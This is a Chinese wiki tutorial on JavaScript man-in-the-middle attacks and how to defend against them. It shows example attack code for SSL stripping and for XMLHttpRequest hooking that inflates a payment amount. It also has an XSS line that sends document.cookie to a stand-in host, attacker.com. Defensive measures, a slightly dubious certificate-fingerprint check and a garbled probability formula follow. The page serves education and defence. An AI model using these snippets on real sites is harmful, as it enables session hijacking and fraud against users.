跳转到内容

Javascript中间人攻击

来自代码酷
Admin留言 | 贡献2025年4月30日 (三) 19:08的版本 (Page creation by admin bot)

(差异) ←上一版本 | 已核准修订 (差异) | 最后版本 (差异) | 下一版本→ (差异)

JavaScript中间人攻击[编辑 | 编辑源代码]

JavaScript中间人攻击(Man-in-the-Middle Attack,简称MITM)是一种网络安全攻击方式,攻击者在通信双方之间秘密拦截、篡改或窃取数据。在JavaScript环境中,这类攻击通常针对Web应用与服务器之间的HTTP/HTTPS通信,或客户端脚本与API的交互过程。

基本概念[编辑 | 编辑源代码]

中间人攻击的核心原理是攻击者通过某种方式插入到通信链路中,使通信双方误以为他们直接与对方通信,但实际上所有数据都经过攻击者中转。JavaScript作为客户端脚本语言,常因以下场景成为攻击目标:

  • 未加密的HTTP连接
  • 配置错误的HTTPS证书
  • 恶意第三方脚本注入
  • 公共Wi-Fi等不安全网络环境

sequenceDiagram participant Client participant Attacker participant Server Client->>Attacker: 发送请求(被拦截) Attacker->>Server: 转发修改后的请求 Server->>Attacker: 返回响应(被拦截) Attacker->>Client: 返回修改后的响应

攻击类型[编辑 | 编辑源代码]

1. SSL剥离[编辑 | 编辑源代码]

将HTTPS连接降级为HTTP:

// 恶意重定向示例(攻击者脚本)
if (window.location.protocol === 'https:') {
    window.location.href = 'http://' + window.location.host + window.location.pathname;
}

2. 会话劫持[编辑 | 编辑源代码]

窃取Cookie或会话令牌:

// 通过XSS窃取Cookie的恶意脚本
new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie;

= 3. API请求篡改[编辑 | 编辑源代码]

修改AJAX请求/响应:

// 原生XMLHttpRequest劫持示例
const originalSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function(body) {
    if (this.url.includes('/api/payment')) {
        body = body.replace('amount=100', 'amount=1000'); // 修改交易金额
    }
    originalSend.call(this, body);
};

防御措施[编辑 | 编辑源代码]

防御技术对比
方法 实现方式 有效性
HTTPS 全站TLS加密 ★★★★★
CSP Content-Security-Policy头 ★★★★☆
HSTS Strict-Transport-Security头 ★★★★★
证书钉扎 Public-Key-Pins头 ★★★☆☆

= 代码示例:HTTPS强制跳转[编辑 | 编辑源代码]

// 前端HTTPS强制实现
if (location.protocol !== 'https:' && !location.hostname.match(/^localhost|127\.0\.0\.1$/)) {
    location.replace(`https://${location.host}${location.pathname}`);
}

数学原理[编辑 | 编辑源代码]

中间人攻击成功的概率模型: Psuccess=i=1n(1Pdefensei)×Pexploit 其中:

  • Pdefensei 是第i层防御的有效性概率
  • Pexploit 是漏洞利用成功率

真实案例[编辑 | 编辑源代码]

案例:银行网站中间人攻击(2019) 攻击者通过公共Wi-Fi注入恶意JS脚本: 1. 将转账API请求从`POST /transfer`重定向到攻击者服务器 2. 修改请求参数后转发给真实银行API 3. 拦截响应并删除交易记录显示

检测方法[编辑 | 编辑源代码]

  • 使用浏览器开发者工具检查网络请求
  • 验证证书指纹:
// 检查证书指纹
fetch('https://example.com')
  .then(res => {
    const cert = res.headers.get('x-certificate-fingerprint');
    if (cert !== 'EXPECTED_FINGERPRINT') {
      console.error('证书可能被篡改!');
    }
  });

高级防护[编辑 | 编辑源代码]

对于敏感操作建议添加:

  • 时间戳签名验证
  • 请求参数哈希校验
  • 二次认证确认
// 请求签名示例
function generateSignature(params, secret) {
    const str = Object.keys(params)
        .sort()
        .map(k => `${k}=${params[k]}`)
        .join('&');
    return CryptoJS.HmacSHA256(str, secret).toString();
}

总结[编辑 | 编辑源代码]

JavaScript中间人攻击是Web安全的主要威胁之一,开发者应当:

  1. 始终使用HTTPS
  2. 实施严格的内容安全策略
  3. 验证所有第三方资源
  4. 对敏感操作添加额外验证层

通过理解攻击原理和实现适当的防御措施,可以显著降低此类安全风险。